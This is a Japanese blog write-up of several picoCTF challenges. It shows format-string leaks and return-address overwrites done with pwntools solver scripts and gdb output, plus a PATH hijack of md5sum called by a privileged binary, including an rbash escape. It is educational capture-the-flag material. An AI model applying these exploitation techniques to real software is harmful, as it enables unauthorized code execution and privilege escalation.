fsbで例えばprintf(%p)とすると、本来第二引数である、rsiを参照しようとしますが、rsiにはprintfの引数として値が代入されていないのでこれより前の処理での値が出力されてしまいます。同様にprintf(%p,%p,%p,%p)という風にすると、第二引数である、rsiを参照、第三引数である、rdiを参照…といった風にスタックの中身を流出させることができます。
そして六個目の引数はスタックのトップの値(rspがさすアドレス)でそこからスタックの中身が流出してしまいます。

ですのでgdbでスタックの中身を確認していきます。

fsbの脆弱性がある個所にブレークポイントを設置して実行します。

そしてrspの中身を確認していきます。rspはスタックのトップのメモリアドレスです。

確かに、0x555555555441と、リターンアドレスがありました。

これはどの位置にあるのかというとスタックのトップから14番目にありました。

そして、rsp(スタックのトップ)を指すまでに五つのレジスタがあるので、14+5=19番目のアドレスを取得出来たらmainのアドレスがリークできそうです。

確認してみます。19番目のアドレスを表示するといったときは次の記法を使います%19$p

gdb-peda$ b *call_functions+80
Breakpoint 1 at 0x1317
gdb-peda$ r
Starting program: /home/yuma4869/Downloads/ctf/pico/pietime2/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your name:%19$p
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffded8 --> 0x7fffffffe19e ("/home/yuma4869/Downloads/ctf/pico/pietime2/vuln")
RCX: 0xa702439 ('9$p\n')
RDX: 0xfbad2288
RSI: 0x70243931 ('19$p')
RDI: 0x7fffffffdd60 --> 0xa7024393125 ('%19$p\n')
RBP: 0x7fffffffddb0 --> 0x7fffffffddc0 --> 0x1
RSP: 0x7fffffffdd50 --> 0x7ffff7f95ff0 --> 0x0
RIP: 0x555555555317 (<call_functions+80>: call 0x555555555140 <printf@plt>)
R8 : 0x5555555592a6 --> 0x0
R9 : 0x4
R10: 0x8
R11: 0x246
R12: 0x0
R13: 0x7fffffffdee8 --> 0x7fffffffe1ce ("SHELL=/bin/bash")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x10102464c457f
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555530b <call_functions+68>: lea rax,[rbp-0x50]
0x55555555530f <call_functions+72>: mov rdi,rax
0x555555555312 <call_functions+75>: mov eax,0x0
=> 0x555555555317 <call_functions+80>: call 0x555555555140 <printf@plt>
0x55555555531c <call_functions+85>: lea rdi,[rip+0xd1d] # 0x555555556040
0x555555555323 <call_functions+92>: mov eax,0x0
0x555555555328 <call_functions+97>: call 0x555555555140 <printf@plt>
0x55555555532d <call_functions+102>: lea rax,[rbp-0x60]
Guessed arguments:
arg[0]: 0x7fffffffdd60 --> 0xa7024393125 ('%19$p\n')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd50 --> 0x7ffff7f95ff0 --> 0x0
0008| 0x7fffffffdd58 --> 0x0
0016| 0x7fffffffdd60 --> 0xa7024393125 ('%19$p\n')
0024| 0x7fffffffdd68 --> 0x7ffff7e39599 (<_IO_new_file_setbuf+9>: test rax,rax)
0032| 0x7fffffffdd70 --> 0x7ffff7f985c0 --> 0xfbad2887
0040| 0x7fffffffdd78 --> 0x7ffff7e30030 (<__GI__IO_setvbuf+288>: cmp rax,0x1)
0048| 0x7fffffffdd80 --> 0x0
0056| 0x7fffffffdd88 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000555555555317 in call_functions ()
gdb-peda$ n
0x555555555441

行けてそうなのであとは、winのアドレスを計算します。

gdb-peda$ p win
$1 = {<text variable, no debug info>} 0x55555555536a <win>

winは0x55555555536a でした、mainは0x555555555441なので、リークしたアドレスから、(0x555555555441 – 0x55555555536a = 0xd7)分引けばいいだけです。

ソルバー↓

Python
from pwn import *

io = remote("rescued-float.picoctf.net",60801)

io.sendlineafter(b"Enter your name:",b"%19$p")
main_ret_addr = io.recvline()

win_addr = int(main_ret_addr,16) - 0xd3

io.sendlineafter(b" enter the address to jump to, ex => 0x12345: ",hex(win_addr).encode())
io.interactive()

ちなみにこの問題、最初全然解けなかったんだけど、Echo Valleyでfsb調べまくった後だったら5分で解けた。成長したな~

hash-only-1 100pts

問題文

Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!Connect using ssh ctf-player@shape-facility.picoctf.net -p 51683 with the password, redacted and run the binary named “flaghasher”.You can get a copy of the binary if you wish: scp -P 51683 ctf-player@shape-facility.picoctf.net:~/flaghasher .

翻訳:フラグファイルの内容を読むのに十分な権限を持つバイナリですが、ハッシュを知らせるだけです。実際の内容を教えてくれればいいのですが!ssh ctf-player@shape-facility.picoctf.net -p 51683 を使ってパスワードを変更して接続し、「flaghasher」 という名前のバイナリを実行します。お望みであれば、バイナリのコピーを取得できます: scp -P 51683 ctf-player@shape-facility.picoctf.net:~/flaghasher .

sshサーバに行くとflaghasherというものがありました。こいつはroot権限があるようです。

/root/flag.txtのmd5ハッシュを教えてくれます。

flaghasherが配られるのでghidraで逆コンパイルしてみます。

md5sumを実行しているようです。

なのでmd5sumというファイルを作ってパスを通したらそっちが優先されそうなのでやってみます。

md5sumにフラグを取得する処理を書き込んで、左のほうがパスの優先度高いのでそのようにしてパスを通して実行したらフラグ!

hash-only-2 200pts

問題文

Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!Connect using ssh ctf-player@rescued-float.picoctf.net -p 49722 with the password, redacted and run the binary named “flaghasher”.

翻訳:ここに、フラグファイルの内容を読むのに十分な権限を持つバイナリがあるが、ハッシュを知らせるだけだ。実際の内容を教えてくれればいいのだが!ssh ctf-player@rescued-float.picoctf.net -p 49722を使ってパスワードを変更して接続し、「flaghasher 」という名前のバイナリを実行する。

多分flaghasherのプログラム自体は前と同じなのだろうが、flaghasherがなかった

まあいいやと思って先ほどと同じ手法を使おうとしたら無理だった。

どうやらrbashで制限されているらしい、ではteeを使おう。

しかしパスを通せない。

となるともともとパスが通っている位置に作るしかなさそうだ。

そういえばflaghasherはどこにあるのだろうか。

/usr/local/binにあった。ここかここより優先度が高いところに書き込めたらいい。

cdができないので次のように実行すると、なんと書き込めてしまった。

別に#!/bin/bashいらなかった

Echo Valley 300pts

問題文

The echo valley is a simple function that echoes back whatever you say to it.But how do you make it respond with something more interesting, like a flag?Download the source: valley.cDownload the binary: valleyConnect to the service at nc shape-facility.picoctf.net 50740

翻訳:エコー・バレーは、何を言ってもエコーで返してくれるシンプルな機能だ。
しかし、もっと面白いもの、例えば旗のようなものを返させるにはどうしたらいいのだろう?
ソースをダウンロード: valley.c
バイナリをダウンロード: valley
nc shape-facility.picoctf.net 50740でサービスに接続する。

valley.c
Python
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void print_flag() {
    char buf[32];
    FILE *file = fopen("/home/valley/flag.txt", "r");

    if (file == NULL) {
      perror("Failed to open flag file");
      exit(EXIT_FAILURE);
    }
    
    fgets(buf, sizeof(buf), file);
    printf("Congrats! Here is your flag: %s", buf);
    fclose(file);
    exit(EXIT_SUCCESS);
}

void echo_valley() {
    printf("Welcome to the Echo Valley, Try Shouting: \n");

    char buf[100];

    while(1)
    {
        fflush(stdout);
        if (fgets(buf, sizeof(buf), stdin) == NULL) {
          printf("\nEOF detected. Exiting...\n");
          exit(0);
        }

        if (strcmp(buf, "exit\n") == 0) {
            printf("The Valley Disappears\n");
            break;
        }

        printf("You heard in the distance: ");
        printf(buf);
        fflush(stdout);
    }
    fflush(stdout);
}

int main()
{
    echo_valley();
    return 0;
}

checksecしてみると、Full RELROなのでGOT Overwrideとかはできなさそう

GOT Overwrideができなくてもリターンアドレス書き換えはできるので、echo_valley関数のリターンアドレスをprint_flagにすることを目標にします

PIEが有効なのでまずは、リターンアドレスやリターンアドレスが格納されている位置が知りたいです。

PIETIME2と同じようにして、リターンアドレスを取得します。

また、今回は、リターンアドレスが格納されているアドレスを書き換えたいのでリターンアドレスが格納されているアドレスも取得したいです。

x64の呼び出し規約を考えると、先ほどリークしたリターンアドレスのすぐ上にrbpがあるはずらしいです。

これはスタックフレーム下端のアドレスであるため、これがリークできればスタックアドレスがリークできることになります。

計算すると、リターンアドレス(%21$p)、スタックフレーム下端のアドレス(リターンアドレスが格納されているアドレスを計算するのに使う%20$p

まずはリターンアドレスから、print_flagのアドレスを計算します。

0x555555555413 – 0x555555555269 = 0x1aa なので、リークしたリターンアドレスから1aa引けばprint_flagのアドレスが得られます。

次にリターンアドレスが格納されているアドレス(以下stack_write_addr)を計算します。スタックフレーム下端のアドレスが得られたのでそのすぐ上にリターンアドレスがあります。x64なので、リークしたアドレスから0x8引けばstack_write_addrが得られます。

このようなfsbを利用してなにかを書き換えるときに便利なのが、pwntoolsにあるfmtstr_payload関数です。

これを使用するためにオフセットを計算する必要があります。計算方法は簡単です。(だいたい6ですが)

┌──(yuma4869㉿yuma4869)-[~/Downloads/ctf/pico/echovalley]
└─$ ./valley
Welcome to the Echo Valley, Try Shouting:
AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
You heard in the distance: AAAA0x7fff7900bed0,(nil),(nil),0x55dfdd19f6d2,0x4,0x252c702541414141,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0xb700000a70

こんな風にして、0x41414141(AAAA)が出てくるまでの個数を数えるだけです。今回は6でした。

ソルバー↓

Python
from pwn import *

io = remote("shape-facility.picoctf.net", 60547)
# io = process("./valley")
context(arch='amd64', os='linux')
io.recvline()
io.sendline(b"%21$p-%20$p")
echo_return_addr,stack_write_addr = io.recvline().decode().strip().split("-")
echo_return_addr = echo_return_addr[-14:]
echo_return_addr =  int(echo_return_addr,16)
stack_write_addr = int(stack_write_addr,16)
stack_write_addr -= 0x8
print_flag_addr = echo_return_addr-0x1aa
info("stack_write_addr: %#x",stack_write_addr)
info("echo_return_addr: %#x",echo_return_addr)
info("print_flag_addr: %#x",print_flag_addr)

write = {stack_write_addr:print_flag_addr}
assert len(write) <= 100
payload = fmtstr_payload(6,write,write_size="short") 
#試行錯誤してwrite_size="short" にしたら百発百中になることが分かった
info(payload)
sleep(1)

io.sendline(payload)
io.sendline(b"exit")
io.recvuntil(b"Congrats!")
info(io.recvall())
┌──(yuma4869㉿yuma4869)-[~/Downloads/ctf/pico/echovalley]
└─$ python solve.py
[+] Opening connection to shape-facility.picoctf.net on port 54347: Done
[*] stack_write_addr: 0x7fff28ff6078
[*] echo_return_addr: 0x5ba3d5886413
[*] print_flag_addr: 0x5ba3d5886269
/home/yuma4869/.local/lib/python3.13/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] %25193c%11$lln%29471c%12$hn%34331c%13$hnx`ÿ(ÿ\x7f\x00\x00z`ÿ(ÿ\x7f\x00\x00|`ÿ(ÿ\x7f\x00\x00
[+] Receiving all data: Done (50B)
[*] Closed connection to shape-facility.picoctf.net port 54347
/home/yuma4869/.local/lib/python3.13/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] Here is your flag: picoctf{f1ckl3_f0rmat_f1asc0}

感想

handoffは単なるROPじゃなかったし、ChaCha Slideもnonceが再利用されてるとこまでは行けたけど似たようなCTFがあったとこまではgoogle力が足りなくで届かなかった。

Hardのweb達はやる気にもならなかった。もっとweb修行せねば

楽しかったけど、解いてあった問題が急に削除されてポイントもなくなったのは嫌だったなぁ

コメントする

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

上部へスクロール